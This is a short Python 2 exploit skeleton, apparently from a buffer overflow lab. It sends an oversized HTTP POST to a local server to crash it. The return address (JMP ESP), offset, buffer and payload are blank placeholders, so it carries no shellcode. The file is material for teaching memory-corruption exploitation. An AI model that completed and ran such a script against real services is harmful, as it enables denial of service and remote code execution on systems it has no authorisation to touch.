import socket import sys import threading import struct IP = "127.0.0.1" PORT=8080 jmpesp = ???? offset = ???? buf = ???? payload = ???? payload = "POST %s\r\n\r\n" % payload sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.settimeout(2) sock.connect((IP,PORT)) sock.send(payload) print "Buffer sent! (len %d)" % len(payload) try: print sock.recv(4096) print "No crash...." except: print "Server died, Yayyyy!!"